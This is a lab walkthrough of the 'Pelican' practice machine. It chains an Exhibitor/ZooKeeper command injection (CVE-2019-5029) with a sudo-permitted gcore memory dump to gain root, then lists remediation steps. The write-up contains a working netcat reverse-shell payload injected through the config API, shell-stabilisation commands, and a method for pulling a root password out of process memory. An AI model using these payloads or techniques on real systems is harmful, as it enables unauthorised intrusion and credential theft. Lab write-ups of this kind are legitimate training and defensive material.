
Summary
Pelican is an easy-difficulty Linux machine from Proving Grounds Practice that demonstrates the critical security risks associated with exposed administrative supervisors and overly permissive debugging privileges in sudoers policies. Initial reconnaissance reveals an extensive attack surface including OpenSSH, Samba, CUPS, Apache ZooKeeper, and a web interface hosted behind an Nginx reverse proxy. Web enumeration identifies an exposed Exhibitor for ZooKeeper supervisor dashboard. By exploiting an unauthenticated remote command injection vulnerability in Exhibitor’s configuration REST API, arbitrary commands can be executed on the server, establishing an initial interactive foothold as an unprivileged user. Internal privilege escalation auditing identifies a sudoers misconfiguration permitting the user to execute the gcore core-dump utility without password verification. By auditing running background processes, an operator discovers a custom credential daemon executing under superuser privileges. Dumping this process’s virtual memory address space recovers cleartext administrative credentials, enabling an immediate switch to the root account.
Reconnaissance
Port Scanning & Service Discovery
Initial network reconnaissance was conducted using rustscan coupled with standard nmap service detection and default NSE scripts:
rustscan -a 192.168.120.98 -- -sCV -oN target
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp open ipp syn-ack ttl 61 CUPS 2.2
| http-methods:
| Supported Methods: GET HEAD OPTIONS POST PUT
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
2181/tcp open zookeeper syn-ack ttl 61 Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp open http syn-ack ttl 61 Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found
8081/tcp open http syn-ack ttl 61 nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.120.98:8080/exhibitor/v1/ui/index.html
|_http-server-header: nginx/1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
46295/tcp open java-rmi syn-ack ttl 61 Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: pelican
| NetBIOS computer name: PELICAN\x00
| Domain name: \x00
| FQDN: pelican
|_ System time: 2026-09-19T10:15:41-04:00
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Discovered Attack Surface
| Port | Protocol / Service | Version | Observations |
|---|---|---|---|
| 22 / 2222 | SSH | OpenSSH 7.9p1 Debian 10+deb10u2 | Standard SSH service listening on port 22 and an alternate listener on port 2222. |
| 139 / 445 | SMB | Samba smbd 4.9.5-Debian | NetBIOS / SMB file sharing suite (Debian 10 Buster). |
| 631 | IPP / HTTP | CUPS 2.2.10 | Common Unix Printing System; returns 403 Forbidden to unauthorized clients. |
| 2181 | ZooKeeper | Apache ZooKeeper 3.4.6 | Centralized coordination service for distributed configuration management. |
| 8080 | HTTP | Jetty 1.0 | Web application container serving Exhibitor REST backend. Returns 404 at root. |
| 8081 | HTTP | Nginx 1.14.2 | Reverse proxy issuing an HTTP 302 redirect to Exhibitor UI on port 8080. |
| 46295 | Java RMI | Java Remote Method Invocation | Auxiliary Java management / JMX remote invocation port. |
Detailed Service & Web Enumeration
1. Apache ZooKeeper (TCP 2181)
We first query ZooKeeper using native Four-Letter Word (4LW) commands over raw TCP:
echo "stat" | nc -nv 192.168.120.98 2181
Zookeeper version: 3.4.6-1569965, built on 02/20/2014 09:09 GMT
Clients:
/192.168.45.194:54322[0](queued=0,recved=1,sent=0)
Latency min/avg/max: 0/0/0
Received: 1
Sent: 0
Connections: 1
Outstanding: 0
Zxid: 0x0
Mode: standalone
Node count: 4
The service is running in standalone mode on an outdated build (3.4.6).
2. Web Application & Exhibitor Discovery (TCP 8081 / 8080)
Inspecting the HTTP headers on port 8081 reveals an automated redirection:
curl -I http://192.168.120.98:8081/
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.14.2
Date: Sat, 19 Sep 2026 14:16:10 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.120.98:8080/exhibitor/v1/ui/index.html
Navigating to http://192.168.120.98:8080/exhibitor/v1/ui/index.html loads the web interface of Exhibitor for ZooKeeper (v1.0 / 1.7.1), an open-source supervisor process developed by Netflix.
The web console provides complete insight into cluster topology, znode trees, and configuration parameters across tabs including Control Panel, Explorer, and Config.
Initial access
Vulnerability Analysis: Exhibitor for ZooKeeper Remote Command Injection (CVE-2019-5029)
Research into Exhibitor for ZooKeeper reveals CVE-2019-5029:
- Affected Component: Netflix Exhibitor for ZooKeeper versions up to and including 1.7.1.
- Vulnerability Type: Unauthenticated Remote Code Execution via Configuration Injection.
- Underlying Flaw: Exhibitor exposes a REST configuration endpoint at
/exhibitor/v1/config/setwithout requiring authentication. When an administrator submits a configuration update, thejavaEnvironmentparameter is written into the environment configuration script used to start ZooKeeper’s JVM. - Command Injection Vector: The startup script is invoked via a standard POSIX shell (
/bin/sh). Because the application does not validate or sanitize input injavaEnvironment, shell command substitution sequences ($(...)or`...`) are directly evaluated by the underlying shell during configuration application.
Exploitation Walkthrough
We inspect the existing configuration by requesting the state endpoint:
curl -s http://192.168.120.98:8080/exhibitor/v1/config/get-state | jq .
{
"zookeeperInstallDir": "/opt/zookeeper",
"zookeeperDataDir": "/var/lib/zookeeper/data",
"zookeeperLogDir": "/var/lib/zookeeper/log",
"logIndexDirectory": "/var/lib/zookeeper/log",
"javaEnvironment": "",
"clientPort": 2181,
"connectPort": 2888,
"electionPort": 3888
}
To exploit the injection, we establish a Netcat listener on our local attacking host:
nc -lvnp 4444
We transmit a POST request to /exhibitor/v1/config/set inserting a subshell Netcat reverse shell payload into the javaEnvironment key:
curl -X POST http://192.168.120.98:8080/exhibitor/v1/config/set \
-H "Content-Type: application/json" \
-d '{
"zookeeperInstallDir": "/opt/zookeeper",
"zookeeperDataDir": "/var/lib/zookeeper/data",
"zookeeperLogDir": "/var/lib/zookeeper/log",
"logIndexDirectory": "/var/lib/zookeeper/log",
"javaEnvironment": "$(/bin/nc -e /bin/sh 192.168.45.194 4444 &)",
"autoManageInstances": 1
}'
Alternatively, we can execute the automated public Python exploit script (CVE-2019-5029 by yZee00):
python3 exploit.py 192.168.120.98 8080 192.168.45.194 4444
[*] Fetching current configuration from http://192.168.120.98:8080/exhibitor/v1/config/get-state...
[+] Configuration retrieved successfully.
[*] Injecting reverse shell into javaEnvironment parameter...
[*] Committing configuration to http://192.168.120.98:8080/exhibitor/v1/config/set...
[+] Payload sent! Awaiting reverse shell connection...
Establishing the Foothold
On our Netcat listener, a connection is immediately received:
listening on [any] 4444 ...
connect to [192.168.45.194] from (UNKNOWN) [192.168.120.98] 49832
id
uid=1000(charles) gid=1000(charles) groups=1000(charles)
whoami
charles
We stabilize the shell to obtain a fully functional interactive TTY session:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background shell with Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
Harvesting the User Flag
With access established as charles, we locate and read the initial user proof flag:
cat /home/charles/local.txt
Privilege escalation
Internal Enumeration & Sudo Privileges
Beginning local privilege escalation auditing, we verify the user’s allowed sudo directives:
charles@pelican:~$ sudo -l
Matching Defaults entries for charles on pelican:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on pelican:
(ALL) NOPASSWD: /usr/bin/gcore
charles is permitted to execute /usr/bin/gcore as any user (including root) without password authentication.
Process Memory Analysis & Target Identification
The gcore utility (part of the GNU Debugger suite) allows users to generate an ELF core dump file containing the full virtual memory snapshot of any running process without terminating its execution.
Because gcore can be executed under sudo, we can attach to and dump the address space of any high-privilege daemon running as root.
We inspect the host process table for custom or credential-handling daemons:
ps aux | grep -v "\["
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 33784 4224 ? Ss 10:05 0:01 /sbin/init
root 490 0.0 0.0 2276 72 ? Ss 10:06 0:00 /usr/bin/password-store
root 512 0.0 0.5 15816 5380 ? Ss 10:06 0:00 /usr/sbin/sshd -D
charles 782 0.0 1.2 65208 12384 ? Sl 10:07 0:02 java -jar exhibitor.jar
...
Notice the process running with PID 490:
- Command:
/usr/bin/password-store - User Context:
root
A dedicated password store service running continuously as root suggests that credentials or sensitive data are resident in its virtual memory.
Dumping Process Memory via gcore
We execute gcore against PID 490 under sudo:
cd /tmp
sudo /usr/bin/gcore 490
[New LWP 490]
Saved corefile core.490
[Inferior 1 (process 490) detached]
The memory image is successfully serialized and written to /tmp/core.490.
Extracting Root Credentials
We analyze readable ASCII strings within the binary core dump:
strings /tmp/core.490 | grep -i "password" -C 3
001 Password: root:
ClogKingpinInning731
The memory dump directly reveals the plaintext password for the root account: ClogKingpinInning731.
Elevating to Root & Capturing Proof
Using the harvested credentials, we switch to the superuser account via su:
su - root
Password: ClogKingpinInning731
We verify root execution and read the final administrative proof flag:
id
uid=0(root) gid=0(root) groups=0(root)
hostname
pelican
cat /root/proof.txt
Both flags have been captured and administrative control of the host is established.
Conclusion
The Pelican machine illustrates how two distinct security deficiencies—an unauthenticated administrative web interface and unrestricted debugging privileges—can be chained to achieve full system takeover.
- Exposed Cluster Supervisor: Exhibitor was deployed without network segmentation or HTTP authentication, allowing external actors to reach administrative REST configuration endpoints.
- Insecure Configuration Evaluation (CVE-2019-5029): The
javaEnvironmentparameter lacked validation against shell metacharacters, permitting remote command execution through subshell syntax. - Overly Permissive Sudoers Rules: Granting
NOPASSWDsudo execution on memory inspection and debugging tools likegcorecircumvents process boundary isolation, allowing unprivileged users to dump memory belonging to privileged services. - Cleartext In-Memory Credentials: The
/usr/bin/password-storedaemon maintained plaintext credentials resident in process memory rather than sanitizing memory buffers after use.
Defensive Remediation & Hardening Steps
- Enforce Authentication on Exhibitor: Secure Exhibitor by configuring HTTP Basic Authentication via
--securityor Jetty constraints, and restrict its interface to the loopback interface (127.0.0.1) or a dedicated management VLAN. - Upgrade Exhibitor & Apache ZooKeeper: Apply security patches to Exhibitor and sanitize configuration parameters before passing them to JVM startup scripts.
- Audit & Restrict Sudoers Policies: Remove debugging utilities (
gcore,gdb,strace) from/etc/sudoers. These binaries should never be executed without administrative oversight. - Harden Kernel Memory Protections: Set the Linux Yama LSM
ptrace_scopeparameter (kernel.yama.ptrace_scope = 2) in/etc/sysctl.d/10-ptrace.confto block unauthorizedptraceattachments across process boundaries. - Secure Memory Handling in Applications: Utilize
explicit_bzero()or memory-locking primitives (mlock) to wipe sensitive credentials from RAM immediately after authentication, and mark sensitive daemons non-dumpable usingprctl(PR_SET_DUMPABLE, 0).